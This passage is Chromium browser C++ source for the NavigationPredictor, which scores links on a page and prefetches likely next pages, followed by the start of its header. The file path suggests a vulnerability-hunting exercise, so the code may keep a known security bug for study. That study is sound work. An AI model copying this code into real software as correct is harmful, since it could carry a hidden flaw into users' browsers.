gurl.ReplaceComponents(replacements).spec(); } // Returns true if |a| and |b| are both valid HTTP/HTTPS URLs and have the // same scheme, host, path and query params. This method does not take into // account the ref params of the two URLs. bool AreGURLsEqualExcludingRefParams(const GURL& a, const GURL& b) { return GetURLWithoutRefParams(a) == GetURLWithoutRefParams(b); } } // namespace struct NavigationPredictor::NavigationScore { NavigationScore(const GURL& url, double ratio_area, bool is_url_incremented_by_one, size_t area_rank, double score, double ratio_distance_root_top, bool contains_image, bool is_in_iframe, size_t index) : url(url), ratio_area(ratio_area), is_url_incremented_by_one(is_url_incremented_by_one), area_rank(area_rank), score(score), ratio_distance_root_top(ratio_distance_root_top), contains_image(contains_image), is_in_iframe(is_in_iframe), index(index) {} // URL of the target link. const GURL url; // The ratio between the absolute clickable region of an anchor element and // the document area. This should be in the range [0, 1]. const double ratio_area; // Whether the url increments the current page's url by 1. const bool is_url_incremented_by_one; // Rank in terms of anchor element area. It starts at 0, a lower rank implies // a larger area. Capped at 100. const size_t area_rank; // Calculated navigation score, based on |area_rank| and other metrics. double score; // The distance from the top of the document to the anchor element, expressed // as a ratio with the length of the document. const double ratio_distance_root_top; // Multiple anchor elements may point to the same |url|. |contains_image| is // true if at least one of the anchor elements pointing to |url| contains an // image. const bool contains_image; // |is_in_iframe| is true if at least one of the anchor elements point to // |url| is in an iframe. const bool is_in_iframe; // An index reported to UKM. const size_t index; // Rank of the |score| in this document. It starts at 0, a lower rank implies // a higher |score|. base::Optional score_rank; }; NavigationPredictor::NavigationPredictor(content::WebContents* web_contents) : browser_context_(web_contents->GetBrowserContext()), ratio_area_scale_(base::GetFieldTrialParamByFeatureAsInt( blink::features::kNavigationPredictor, "ratio_area_scale", 100)), is_in_iframe_scale_(base::GetFieldTrialParamByFeatureAsInt( blink::features::kNavigationPredictor, "is_in_iframe_scale", 0)), is_same_host_scale_(base::GetFieldTrialParamByFeatureAsInt( blink::features::kNavigationPredictor, "is_same_host_scale", 0)), contains_image_scale_(base::GetFieldTrialParamByFeatureAsInt( blink::features::kNavigationPredictor, "contains_image_scale", 50)), is_url_incremented_scale_(base::GetFieldTrialParamByFeatureAsInt( blink::features::kNavigationPredictor, "is_url_incremented_scale", 100)), area_rank_scale_(base::GetFieldTrialParamByFeatureAsInt( blink::features::kNavigationPredictor, "area_rank_scale", 100)), ratio_distance_root_top_scale_(base::GetFieldTrialParamByFeatureAsInt( blink::features::kNavigationPredictor, "ratio_distance_root_top_scale", 0)), link_total_scale_(base::GetFieldTrialParamByFeatureAsInt( blink::features::kNavigationPredictor, "link_total_scale", 0)), iframe_link_total_scale_(base::GetFieldTrialParamByFeatureAsInt( blink::features::kNavigationPredictor, "iframe_link_total_scale", 0)), increment_link_total_scale_(base::GetFieldTrialParamByFeatureAsInt( blink::features::kNavigationPredictor, "increment_link_total_scale", 0)), same_origin_link_total_scale_(base::GetFieldTrialParamByFeatureAsInt( blink::features::kNavigationPredictor, "same_origin_link_total_scale", 0)), image_link_total_scale_(base::GetFieldTrialParamByFeatureAsInt( blink::features::kNavigationPredictor, "image_link_total_scale", 0)), clickable_space_scale_(base::GetFieldTrialParamByFeatureAsInt( blink::features::kNavigationPredictor, "clickable_space_scale", 0)), median_link_location_scale_(base::GetFieldTrialParamByFeatureAsInt( blink::features::kNavigationPredictor, "median_link_location_scale", 0)), viewport_height_scale_(base::GetFieldTrialParamByFeatureAsInt( blink::features::kNavigationPredictor, "viewport_height_scale", 0)), viewport_width_scale_(base::GetFieldTrialParamByFeatureAsInt( blink::features::kNavigationPredictor, "viewport_width_scale", 0)), sum_link_scales_(ratio_area_scale_ + is_in_iframe_scale_ + is_same_host_scale_ + contains_image_scale_ + is_url_incremented_scale_ + area_rank_scale_ + ratio_distance_root_top_scale_), sum_page_scales_(link_total_scale_ + iframe_link_total_scale_ + increment_link_total_scale_ + same_origin_link_total_scale_ + image_link_total_scale_ + clickable_space_scale_ + median_link_location_scale_ + viewport_height_scale_ + viewport_width_scale_), is_low_end_device_(base::SysInfo::IsLowEndDevice()), prefetch_url_score_threshold_(base::GetFieldTrialParamByFeatureAsInt( blink::features::kNavigationPredictor, "prefetch_url_score_threshold", 0)), prefetch_enabled_(base::GetFieldTrialParamByFeatureAsBool( blink::features::kNavigationPredictor, "prefetch_after_preconnect", false)), normalize_navigation_scores_(base::GetFieldTrialParamByFeatureAsBool( blink::features::kNavigationPredictor, "normalize_scores", true)) { DCHECK(browser_context_); DETACH_FROM_SEQUENCE(sequence_checker_); if (browser_context_->IsOffTheRecord()) return; ukm_recorder_ = ukm::UkmRecorder::Get(); current_visibility_ = web_contents->GetVisibility(); ukm_source_id_ = web_contents->GetMainFrame()->GetPageUkmSourceId(); Observe(web_contents); } NavigationPredictor::~NavigationPredictor() { DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); Observe(nullptr); if (no_state_prefetch_handle_) { no_state_prefetch_handle_->SetObserver(nullptr); no_state_prefetch_handle_->OnNavigateAway(); } } void NavigationPredictor::Create( content::RenderFrameHost* render_frame_host, mojo::PendingReceiver receiver) { DCHECK(base::FeatureList::IsEnabled(blink::features::kNavigationPredictor)); // Only valid for the main frame. if (render_frame_host->GetParent()) return; content::WebContents* web_contents = content::WebContents::FromRenderFrameHost(render_frame_host); if (!web_contents) return; mojo::MakeSelfOwnedReceiver( std::make_unique(web_contents), std::move(receiver)); } bool NavigationPredictor::IsValidMetricFromRenderer( const blink::mojom::AnchorElementMetrics& metric) const { return metric.target_url.SchemeIsHTTPOrHTTPS() && metric.source_url.SchemeIsHTTPOrHTTPS(); } void NavigationPredictor::RecordActionAccuracyOnClick( const GURL& target_url) const { // We don't pre-render default search engine at all, so measuring metrics here // doesn't make sense. if (source_is_default_search_engine_page_) return; bool is_cross_origin = url::Origin::Create(document_url_) != url::Origin::Create(target_url); auto prefetch_result = is_cross_origin ? PrerenderResult::kCrossOriginNotSeen : PrerenderResult::kSameOriginNotSeen; if ((prefetch_url_ && prefetch_url_.value() == target_url) || base::Contains(partial_prerfetches_, target_url)) { prefetch_result = PrerenderResult::kSameOriginPrefetchPartiallyComplete; } else if (base::Contains(urls_prefetched_, target_url)) { prefetch_result = PrerenderResult::kSameOriginPrefetchFinished; } else if (std::find(urls_to_prefetch_.begin(), urls_to_prefetch_.end(), target_url) != urls_to_prefetch_.end()) { prefetch_result = PrerenderResult::kSameOriginPrefetchInQueue; } else if (!is_cross_origin && base::Contains(urls_above_threshold_, target_url)) { prefetch_result = PrerenderResult::kSameOriginPrefetchSkipped; } else if (base::Contains(urls_above_threshold_, target_url)) { prefetch_result = PrerenderResult::kCrossOriginAboveThreshold; } else if (!is_cross_origin && base::Contains(navigation_scores_map_, target_url.spec())) { prefetch_result = PrerenderResult::kSameOriginBelowThreshold; } else if (base::Contains(navigation_scores_map_, target_url.spec())) { prefetch_result = PrerenderResult::kCrossOriginBelowThreshold; } UMA_HISTOGRAM_ENUMERATION("NavigationPredictor.LinkClickedPrerenderResult", prefetch_result); } void NavigationPredictor::RecordActionAccuracyOnTearDown() { auto document_origin = url::Origin::Create(document_url_); int cross_origin_urls_above_threshold = std::count_if(urls_above_threshold_.begin(), urls_above_threshold_.end(), [document_origin](const GURL& url) { return document_origin != url::Origin::Create(url); }); UMA_HISTOGRAM_COUNTS_100("NavigationPredictor.CountOfURLsAboveThreshold", urls_above_threshold_.size()); UMA_HISTOGRAM_COUNTS_100( "NavigationPredictor.CountOfURLsAboveThreshold.CrossOrigin", cross_origin_urls_above_threshold); UMA_HISTOGRAM_COUNTS_100( "NavigationPredictor.CountOfURLsAboveThreshold.SameOrigin", urls_above_threshold_.size() - cross_origin_urls_above_threshold); int cross_origin_urls_above_threshold_in_top_n = std::count_if( urls_above_threshold_.begin(), urls_above_threshold_.begin() + std::min(urls_above_threshold_.size(), static_cast(base::GetFieldTrialParamByFeatureAsInt( kNavigationPredictorMultiplePrerenders, "prerender_limit", 1))), [document_origin](const GURL& url) { return document_origin != url::Origin::Create(url); }); int same_origin_urls_above_threshold_in_top_n = std::min( static_cast(base::GetFieldTrialParamByFeatureAsInt( kNavigationPredictorMultiplePrerenders, "prerender_limit", 1)), urls_above_threshold_.size()) - cross_origin_urls_above_threshold_in_top_n; UMA_HISTOGRAM_COUNTS_100( "NavigationPredictor.CountOfURLsInPredictedSet.CrossOrigin", cross_origin_urls_above_threshold_in_top_n); UMA_HISTOGRAM_COUNTS_100( "NavigationPredictor.CountOfURLsInPredictedSet.SameOrigin", same_origin_urls_above_threshold_in_top_n); UMA_HISTOGRAM_COUNTS_100("NavigationPredictor.CountOfURLsInPredictedSet", cross_origin_urls_above_threshold_in_top_n + same_origin_urls_above_threshold_in_top_n); UMA_HISTOGRAM_COUNTS_100("NavigationPredictor.CountOfStartedPrerenders", urls_prefetched_.size()); } void NavigationPredictor::OnVisibilityChanged(content::Visibility visibility) { DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); if (current_visibility_ == visibility) return; // Check if the visibility changed from VISIBLE to HIDDEN. Since navigation // predictor is currently restricted to Android, it is okay to disregard the // occluded state. if (current_visibility_ != content::Visibility::HIDDEN || visibility != content::Visibility::VISIBLE) { current_visibility_ = visibility; if (no_state_prefetch_handle_) { no_state_prefetch_handle_->SetObserver(nullptr); no_state_prefetch_handle_->OnNavigateAway(); no_state_prefetch_handle_.reset(); partial_prerfetches_.emplace(prefetch_url_.value()); prefetch_url_ = base::nullopt; } return; } current_visibility_ = visibility; MaybePrefetch(); } void NavigationPredictor::DidStartNavigation( content::NavigationHandle* navigation_handle) { if (!navigation_handle->IsInMainFrame() || navigation_handle->IsSameDocument()) { return; } if (next_navigation_started_) return; RecordActionAccuracyOnTearDown(); // Don't start new prerenders. next_navigation_started_ = true; // If there is no ongoing prerender, there is nothing to do. if (!prefetch_url_.has_value()) return; // Let the prerender continue if it matches the navigation URL. if (navigation_handle->GetURL() == prefetch_url_.value()) return; if (!no_state_prefetch_handle_) return; // Stop prerender to reduce network contention during main frame fetch. no_state_prefetch_handle_->SetObserver(nullptr); no_state_prefetch_handle_->OnNavigateAway(); no_state_prefetch_handle_.reset(); partial_prerfetches_.emplace(prefetch_url_.value()); prefetch_url_ = base::nullopt; } void NavigationPredictor::RecordAction(Action log_action) { std::string action_histogram_name = source_is_default_search_engine_page_ ? "NavigationPredictor.OnDSE.ActionTaken" : "NavigationPredictor.OnNonDSE.ActionTaken"; base::UmaHistogramEnumeration(action_histogram_name, log_action); } void NavigationPredictor::MaybeSendMetricsToUkm() const { if (!ukm_recorder_) { return; } ukm::builders::NavigationPredictorPageLinkMetrics page_link_builder( ukm_source_id_); page_link_builder.SetNumberOfAnchors_Total( GetBucketMinForPageMetrics(number_of_anchors_)); page_link_builder.SetNumberOfAnchors_SameHost( GetBucketMinForPageMetrics(number_of_anchors_same_host_)); page_link_builder.SetNumberOfAnchors_ContainsImage( GetBucketMinForPageMetrics(number_of_anchors_contains_image_)); page_link_builder.SetNumberOfAnchors_InIframe( GetBucketMinForPageMetrics(number_of_anchors_in_iframe_)); page_link_builder.SetNumberOfAnchors_URLIncremented( GetBucketMinForPageMetrics(number_of_anchors_url_incremented_)); page_link_builder.SetTotalClickableSpace( GetBucketMinForPageMetrics(static_cast(total_clickable_space_))); page_link_builder.SetMedianLinkLocation( GetLinearBucketForLinkLocation(median_link_location_)); page_link_builder.SetViewport_Height( GetBucketMinForPageMetrics(viewport_size_.height())); page_link_builder.SetViewport_Width( GetBucketMinForPageMetrics(viewport_size_.width())); page_link_builder.Record(ukm_recorder_); for (const auto& navigation_score_tuple : navigation_scores_map_) { const auto& navigation_score = navigation_score_tuple.second; ukm::builders::NavigationPredictorAnchorElementMetrics anchor_element_builder(ukm_source_id_); // Offset index to be 1-based indexing. anchor_element_builder.SetAnchorIndex(navigation_score->index); anchor_element_builder.SetIsInIframe(navigation_score->is_in_iframe); anchor_element_builder.SetIsURLIncrementedByOne( navigation_score->is_url_incremented_by_one); anchor_element_builder.SetContainsImage(navigation_score->contains_image); anchor_element_builder.SetSameOrigin( url::Origin::Create(navigation_score->url) == url::Origin::Create(document_url_)); // Convert the ratio area and ratio distance from [0,1] to [0,100]. int percent_ratio_area = static_cast(navigation_score->ratio_area * 100); int percent_ratio_distance_root_top = static_cast(navigation_score->ratio_distance_root_top * 100); anchor_element_builder.SetPercentClickableArea( GetLinearBucketForRatioArea(percent_ratio_area)); anchor_element_builder.SetPercentVerticalDistance( GetLinearBucketForLinkLocation(percent_ratio_distance_root_top)); anchor_element_builder.Record(ukm_recorder_); } } int NavigationPredictor::GetBucketMinForPageMetrics(int value) const { return ukm::GetExponentialBucketMin(value, 1.3); } int NavigationPredictor::GetLinearBucketForLinkLocation(int value) const { return ukm::GetLinearBucketMin(static_cast(value), 10); } int NavigationPredictor::GetLinearBucketForRatioArea(int value) const { return ukm::GetLinearBucketMin(static_cast(value), 5); } void NavigationPredictor::MaybeSendClickMetricsToUkm( const std::string& clicked_url) const { if (!ukm_recorder_) { return; } if (clicked_count_ > 10) return; auto nav_score = navigation_scores_map_.find(clicked_url); int anchor_element_index = (nav_score == navigation_scores_map_.end()) ? 0 : nav_score->second->index; ukm::builders::NavigationPredictorPageLinkClick builder(ukm_source_id_); builder.SetAnchorElementIndex(anchor_element_index); builder.Record(ukm_recorder_); } TemplateURLService* NavigationPredictor::GetTemplateURLService() const { return TemplateURLServiceFactory::GetForProfile( Profile::FromBrowserContext(browser_context_)); } void NavigationPredictor::ReportAnchorElementMetricsOnClick( blink::mojom::AnchorElementMetricsPtr metrics) { DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); DCHECK(base::FeatureList::IsEnabled(blink::features::kNavigationPredictor)); if (browser_context_->IsOffTheRecord()) return; if (!IsValidMetricFromRenderer(*metrics)) { mojo::ReportBadMessage("Bad anchor element metrics: onClick."); return; } source_is_default_search_engine_page_ = GetTemplateURLService() && GetTemplateURLService()->IsSearchResultsPageFromDefaultSearchProvider( metrics->source_url); if (!metrics->source_url.SchemeIsCryptographic() || !metrics->target_url.SchemeIsCryptographic()) { return; } clicked_count_++; document_url_ = metrics->source_url; RecordActionAccuracyOnClick(metrics->target_url); MaybeSendClickMetricsToUkm(metrics->target_url.spec()); // Look up the clicked URL in |navigation_scores_map_|. Record if we find it. auto iter = navigation_scores_map_.find(metrics->target_url.spec()); if (iter == navigation_scores_map_.end()) return; // Guaranteed to be non-zero since we have found the clicked link in // |navigation_scores_map_|. DCHECK_LT(0, number_of_anchors_); if (source_is_default_search_engine_page_) { UMA_HISTOGRAM_BOOLEAN("AnchorElementMetrics.Clicked.OnDSE.SameHost", metrics->is_same_host); } else { UMA_HISTOGRAM_BOOLEAN("AnchorElementMetrics.Clicked.OnNonDSE.SameHost", metrics->is_same_host); } } void NavigationPredictor::MergeMetricsSameTargetUrl( std::vector* metrics) const { // Maps from target url (href) to anchor element metrics from renderer. std::unordered_map metrics_map; // This size reserve is aggressive since |metrics_map| may contain fewer // elements than metrics->size() after merge. metrics_map.reserve(metrics->size()); for (auto& metric : *metrics) { // Do not include anchor elements that point to the same URL as the URL of // the current navigation since these are unlikely to be clicked. Also, // exclude the anchor elements that differ from the URL of the current // navigation by only the ref param. if (AreGURLsEqualExcludingRefParams(metric->target_url, metric->source_url)) { continue; } if (!metric->target_url.SchemeIsCryptographic()) continue; // Currently, all predictions are made based on elements that are within the // main frame since it is unclear if we can pre* the target of the elements // within iframes. if (metric->is_in_iframe) continue; // Skip ref params when merging the anchor elements. This ensures that two // anchor elements which differ only in the ref params are combined // together. const std::string& key = GetURLWithoutRefParams(metric->target_url); auto iter = metrics_map.find(key); if (iter == metrics_map.end()) { metrics_map[key] = std::move(metric); } else { auto& prev_metric = iter->second; prev_metric->ratio_area += metric->ratio_area; prev_metric->ratio_visible_area += metric->ratio_visible_area; // After merging, value of |ratio_area| can go beyond 1.0. This can // happen, e.g., when there are 2 anchor elements pointing to the same // target. The first anchor element occupies 90% of the viewport. The // second one has size 0.8 times the viewport, and only part of it is // visible in the viewport. In that case, |ratio_area| may be 1.7. if (prev_metric->ratio_area > 1.0) prev_metric->ratio_area = 1.0; DCHECK_LE(0.0, prev_metric->ratio_area); DCHECK_GE(1.0, prev_metric->ratio_area); DCHECK_GE(1.0, prev_metric->ratio_visible_area); // Position related metrics are tricky to merge. Another possible way to // merge is simply add up the calculated navigation scores. prev_metric->ratio_distance_root_top = std::min(prev_metric->ratio_distance_root_top, metric->ratio_distance_root_top); prev_metric->ratio_distance_root_bottom = std::max(prev_metric->ratio_distance_root_bottom, metric->ratio_distance_root_bottom); prev_metric->ratio_distance_top_to_visible_top = std::min(prev_metric->ratio_distance_top_to_visible_top, metric->ratio_distance_top_to_visible_top); prev_metric->ratio_distance_center_to_visible_top = std::min(prev_metric->ratio_distance_center_to_visible_top, metric->ratio_distance_center_to_visible_top); // Anchor element is not considered in an iframe as long as at least one // of them is not in an iframe. prev_metric->is_in_iframe = prev_metric->is_in_iframe && metric->is_in_iframe; prev_metric->contains_image = prev_metric->contains_image || metric->contains_image; DCHECK_EQ(prev_metric->is_same_host, metric->is_same_host); } } metrics->clear(); if (metrics_map.empty()) return; metrics->reserve(metrics_map.size()); for (auto& metric_mapping : metrics_map) { metrics->push_back(std::move(metric_mapping.second)); } DCHECK(!metrics->empty()); UMA_HISTOGRAM_COUNTS_100( "AnchorElementMetrics.Visible.NumberOfAnchorElementsAfterMerge", metrics->size()); } void NavigationPredictor::ReportAnchorElementMetricsOnLoad( std::vector metrics, const gfx::Size& viewport_size) { DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); DCHECK(base::FeatureList::IsEnabled(blink::features::kNavigationPredictor)); // Each document should only report metrics once when page is loaded. DCHECK(navigation_scores_map_.empty()); if (browser_context_->IsOffTheRecord()) return; if (metrics.empty()) { mojo::ReportBadMessage("Bad anchor element metrics: empty."); return; } for (const auto& metric : metrics) { if (!IsValidMetricFromRenderer(*metric)) { mojo::ReportBadMessage("Bad anchor element metrics: onLoad."); return; } } if (!metrics[0]->source_url.SchemeIsCryptographic()) return; source_is_default_search_engine_page_ = GetTemplateURLService() && GetTemplateURLService()->IsSearchResultsPageFromDefaultSearchProvider( metrics[0]->source_url); MergeMetricsSameTargetUrl(&metrics); if (metrics.empty() || viewport_size.IsEmpty()) return; number_of_anchors_ = metrics.size(); viewport_size_ = viewport_size; // Count the number of anchors that have specific metrics. std::vector link_locations; link_locations.reserve(metrics.size()); for (const auto& metric : metrics) { number_of_anchors_same_host_ += static_cast(metric->is_same_host); number_of_anchors_contains_image_ += static_cast(metric->contains_image); number_of_anchors_in_iframe_ += static_cast(metric->is_in_iframe); number_of_anchors_url_incremented_ += static_cast(metric->is_url_incremented_by_one); link_locations.push_back(metric->ratio_distance_top_to_visible_top); total_clickable_space_ += metric->ratio_visible_area * 100.0; } sort(link_locations.begin(), link_locations.end()); median_link_location_ = link_locations[link_locations.size() / 2] * 100; double page_metrics_score = GetPageMetricsScore(); // Sort metric by area in descending order to get area rank, which is a // derived feature to calculate navigation score. std::sort(metrics.begin(), metrics.end(), [](const auto& a, const auto& b) { return a->ratio_area > b->ratio_area; }); // Loop |metrics| to compute navigation scores. std::vector> navigation_scores; navigation_scores.reserve(metrics.size()); double total_score = 0.0; std::vector indices(metrics.size()); std::generate(indices.begin(), indices.end(), [n = 1]() mutable { return n++; }); // Shuffle the indices to keep metrics less identifiable in UKM. base::RandomShuffle(indices.begin(), indices.end()); for (size_t i = 0; i != metrics.size(); ++i) { const auto& metric = metrics[i]; // Anchor elements with the same area are assigned with the same rank. size_t area_rank = i; if (i > 0 && metric->ratio_area == metrics[i - 1]->ratio_area) area_rank = navigation_scores[navigation_scores.size() - 1]->area_rank; double score = CalculateAnchorNavigationScore(*metric, area_rank) + page_metrics_score; total_score += score; navigation_scores.push_back(std::make_unique( metric->target_url, static_cast(metric->ratio_area), metric->is_url_incremented_by_one, area_rank, score, metric->ratio_distance_root_top, metric->contains_image, metric->is_in_iframe, indices[i])); } if (normalize_navigation_scores_) { // Normalize |score| to a total sum of 100.0 across all anchor elements // received. if (total_score > 0.0) { for (auto& navigation_score : navigation_scores) { navigation_score->score = navigation_score->score / total_score * 100.0; } } } // Sort scores by the calculated navigation score in descending order. This // score rank is used by MaybeTakeActionOnLoad, and stored in // |navigation_scores_map_|. std::sort(navigation_scores.begin(), navigation_scores.end(), [](const auto& a, const auto& b) { return a->score > b->score; }); document_url_ = metrics[0]->source_url; MaybeTakeActionOnLoad(document_url_, navigation_scores); // Store navigation scores in |navigation_scores_map_| for fast look up upon // clicks. navigation_scores_map_.reserve(navigation_scores.size()); for (size_t i = 0; i != navigation_scores.size(); ++i) { navigation_scores[i]->score_rank = base::make_optional(i); std::string url_spec = navigation_scores[i]->url.spec(); navigation_scores_map_[url_spec] = std::move(navigation_scores[i]); } MaybeSendMetricsToUkm(); } double NavigationPredictor::CalculateAnchorNavigationScore( const blink::mojom::AnchorElementMetrics& metrics, int area_rank) const { DCHECK(!browser_context_->IsOffTheRecord()); if (sum_link_scales_ == 0) return 0.0; double area_rank_score = (double)((number_of_anchors_ - area_rank)) / number_of_anchors_; DCHECK_LE(0, metrics.ratio_visible_area); DCHECK_GE(1, metrics.ratio_visible_area); DCHECK_LE(0, metrics.is_in_iframe); DCHECK_GE(1, metrics.is_in_iframe); DCHECK_LE(0, metrics.is_same_host); DCHECK_GE(1, metrics.is_same_host); DCHECK_LE(0, metrics.contains_image); DCHECK_GE(1, metrics.contains_image); DCHECK_LE(0, metrics.is_url_incremented_by_one); DCHECK_GE(1, metrics.is_url_incremented_by_one); DCHECK_LE(0, area_rank_score); DCHECK_GE(1, area_rank_score); double host_score = 0.0; // On pages from default search engine, give higher weight to target URLs that // link to a different host. On non-default search engine pages, give higher // weight to target URLs that link to the same host. if (!source_is_default_search_engine_page_ && metrics.is_same_host) { host_score = is_same_host_scale_; } else if (source_is_default_search_engine_page_ && !metrics.is_same_host) { host_score = is_same_host_scale_; } // TODO(chelu): https://crbug.com/850624/. Experiment with other heuristic // algorithms for computing the anchor elements score. double score = (ratio_area_scale_ * GetLinearBucketForRatioArea( static_cast(metrics.ratio_area * 100.0))) + (metrics.is_in_iframe ? is_in_iframe_scale_ : 0.0) + (metrics.contains_image ? contains_image_scale_ : 0.0) + host_score + (metrics.is_url_incremented_by_one ? is_url_incremented_scale_ : 0.0) + (area_rank_scale_ * area_rank_score) + (ratio_distance_root_top_scale_ * GetLinearBucketForLinkLocation( static_cast(metrics.ratio_distance_root_top * 100.0))); if (normalize_navigation_scores_) { score = score / sum_link_scales_ * 100.0; DCHECK_LE(0.0, score); } return score; } double NavigationPredictor::GetPageMetricsScore() const { if (sum_page_scales_ == 0.0) { return 0; } else { DCHECK(!viewport_size_.IsEmpty()); return (link_total_scale_ * GetBucketMinForPageMetrics(number_of_anchors_)) + (iframe_link_total_scale_ * GetBucketMinForPageMetrics(number_of_anchors_in_iframe_)) + (increment_link_total_scale_ * GetBucketMinForPageMetrics(number_of_anchors_url_incremented_)) + (same_origin_link_total_scale_ * GetBucketMinForPageMetrics(number_of_anchors_same_host_)) + (image_link_total_scale_ * GetBucketMinForPageMetrics(number_of_anchors_contains_image_)) + (clickable_space_scale_ * GetBucketMinForPageMetrics(total_clickable_space_)) + (median_link_location_scale_ * GetLinearBucketForLinkLocation(median_link_location_)) + (viewport_width_scale_ * GetBucketMinForPageMetrics(viewport_size_.width())) + (viewport_height_scale_ * GetBucketMinForPageMetrics(viewport_size_.height())); } } void NavigationPredictor::NotifyPredictionUpdated( const std::vector>& sorted_navigation_scores) { // It is possible for this class to still exist while its WebContents and // RenderFrameHost are being destroyed. This can be detected by checking // |web_contents()| which will be nullptr if the WebContents has been // destroyed. if (!web_contents()) return; NavigationPredictorKeyedService* service = NavigationPredictorKeyedServiceFactory::GetForProfile( Profile::FromBrowserContext(browser_context_)); DCHECK(service); std::vector top_urls; top_urls.reserve(sorted_navigation_scores.size()); for (const auto& nav_score : sorted_navigation_scores) { top_urls.push_back(nav_score->url); } service->OnPredictionUpdated( web_contents(), document_url_, NavigationPredictorKeyedService::PredictionSource:: kAnchorElementsParsedFromWebPage, top_urls); } void NavigationPredictor::MaybeTakeActionOnLoad( const GURL& document_url, const std::vector>& sorted_navigation_scores) { DCHECK(!browser_context_->IsOffTheRecord()); NotifyPredictionUpdated(sorted_navigation_scores); // Try prefetch first. urls_to_prefetch_ = GetUrlsToPrefetch(document_url, sorted_navigation_scores); RecordAction(urls_to_prefetch_.empty() ? Action::kNone : Action::kPrefetch); MaybePrefetch(); } void NavigationPredictor::MaybePrefetch() { // If prefetches aren't allowed here, this URL has already // been prefetched, or the current tab is hidden, // we shouldn't prefetch again. if (!prefetch_enabled_ || urls_to_prefetch_.empty() || current_visibility_ == content::Visibility::HIDDEN) { return; } // Already an on-going prefetch. if (prefetch_url_.has_value()) return; // Don't prefetch if the next navigation started. if (next_navigation_started_) return; prerender::NoStatePrefetchManager* no_state_prefetch_manager = prerender::NoStatePrefetchManagerFactory::GetForBrowserContext( browser_context_); if (no_state_prefetch_manager) { GURL url_to_prefetch = urls_to_prefetch_.front(); urls_to_prefetch_.pop_front(); Prefetch(no_state_prefetch_manager, url_to_prefetch); } } void NavigationPredictor::Prefetch( prerender::NoStatePrefetchManager* no_state_prefetch_manager, const GURL& url_to_prefetch) { DCHECK(!no_state_prefetch_handle_); DCHECK(!prefetch_url_); // It is possible for this class to still exist while its WebContents and // RenderFrameHost are being destroyed. This can be detected by checking // |web_contents()| which will be nullptr if the WebContents has been // destroyed. if (!web_contents()) return; content::SessionStorageNamespace* session_storage_namespace = web_contents()->GetController().GetDefaultSessionStorageNamespace(); gfx::Size size = web_contents()->GetContainerBounds().size(); no_state_prefetch_handle_ = no_state_prefetch_manager->AddPrerenderFromNavigationPredictor( url_to_prefetch, session_storage_namespace, size); // Prefetch was prevented for some reason, try next URL. if (!no_state_prefetch_handle_) { MaybePrefetch(); return; } prefetch_url_ = url_to_prefetch; urls_prefetched_.emplace(url_to_prefetch); no_state_prefetch_handle_->SetObserver(this); } void NavigationPredictor::OnPrefetchStop( prerender::NoStatePrefetchHandle* handle) { DCHECK_EQ(no_state_prefetch_handle_.get(), handle); no_state_prefetch_handle_.reset(); prefetch_url_ = base::nullopt; MaybePrefetch(); } std::deque NavigationPredictor::GetUrlsToPrefetch( const GURL& document_url, const std::vector>& sorted_navigation_scores) { urls_above_threshold_.clear(); std::deque urls_to_prefetch; // Currently, prefetch is disabled on low-end devices since prefetch may // increase memory usage. if (is_low_end_device_) return urls_to_prefetch; // On search engine results page, next navigation is likely to be a different // origin. Currently, the prefetch is only allowed for same orgins. Hence, // prefetch is currently disabled on search engine results page. if (source_is_default_search_engine_page_) return urls_to_prefetch; if (sorted_navigation_scores.empty()) return urls_to_prefetch; // Place in order the top n scoring links. If the top n scoring links contain // a cross origin link, only place n-1 links. All links must score above // |prefetch_url_score_threshold_|. for (size_t i = 0; i < sorted_navigation_scores.size(); ++i) { double navigation_score = sorted_navigation_scores[i]->score; GURL url_to_prefetch = sorted_navigation_scores[i]->url; // If the prediction score of the highest scoring URL is less than the // threshold, then return. if (navigation_score < prefetch_url_score_threshold_) break; // Log the links above the threshold. urls_above_threshold_.push_back(url_to_prefetch); if (i >= static_cast(base::GetFieldTrialParamByFeatureAsInt( kNavigationPredictorMultiplePrerenders, "prerender_limit", 1))) { continue; } // Only the same origin URLs are eligible for prefetching. If the URL with // the highest score is from a different origin, then we skip prefetching // since same origin URLs are not likely to be clicked. if (url::Origin::Create(url_to_prefetch) != url::Origin::Create(document_url)) { continue; } urls_to_prefetch.emplace_back(url_to_prefetch); } return urls_to_prefetch; } ================================================ FILE: LEVEL_3/exercise_1/navigation_predictor.h ================================================ // Copyright 2018 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROME_BROWSER_NAVIGATION_PREDICTOR_NAVIGATION_PREDICTOR_H_ #define CHROME_BROWSER_NAVIGATION_PREDICTOR_NAVIGATION_PREDICTOR_H_ #include #include #include #include #include #include "base/macros.h" #include "base/optional.h" #include "base/sequence_checker.h" #include "base/time/time.h" #include "components/no_state_prefetch/browser/no_state_prefetch_handle.h" #include "content/public/browser/visibility.h" #include "content/public/browser/web_contents_observer.h" #include "mojo/public/cpp/bindings/pending_receiver.h" #include "services/metrics/public/cpp/ukm_recorder.h" #include "services/metrics/public/cpp/ukm_source_id.h" #include "third_party/blink/public/mojom/loader/navigation_predictor.mojom.h" #include "ui/gfx/geometry/size.h" #include "url/origin.h" namespace content { class BrowserContext; class NavigationHandle; class RenderFrameHost; } // namespace content namespace prerender { class NoStatePrefetchManager; } class TemplateURLService; // This class gathers metrics of anchor elements from both renderer process // and browser process. Then it uses these metrics to make predictions on what // are the most likely anchor elements that the user will click. class NavigationPredictor : public blink::mojom::AnchorElementMetricsHost, public content::WebContentsObserver, public prerender::NoStatePrefetchHandle::Observer { public: explicit NavigationPredictor(content::WebContents* web_contents); ~NavigationPredictor() override; // Create and bind NavigationPredictor. static void Create(content::RenderFrameHost* render_frame_host, mojo::PendingReceiver receiver); // Enum describing the possible set of actions that navigation predictor may // take. This enum should remain synchronized with enum // NavigationPredictorActionTaken in enums.xml. Order of enum values should // not be changed since the values are recorded in UMA. enum class Action { kUnknown = 0, kNone = 1, // DEPRECATED: kPreresolve = 2, // DEPRECATED: kPreconnect = 3, kPrefetch = 4, // DEPRECATED: kPreconnectOnVisibilityChange = 5, // DEPRECATED: kPreconnectOnAppForeground = 6, // Deprecated. // DEPRECATED: kPreconnectAfterTimeout = 7, kMaxValue = kPrefetch, }; // Enum to report the prerender result of the clicked link. Changes must be // propagated to enums.xml, and the enum should not be re-ordered. enum class 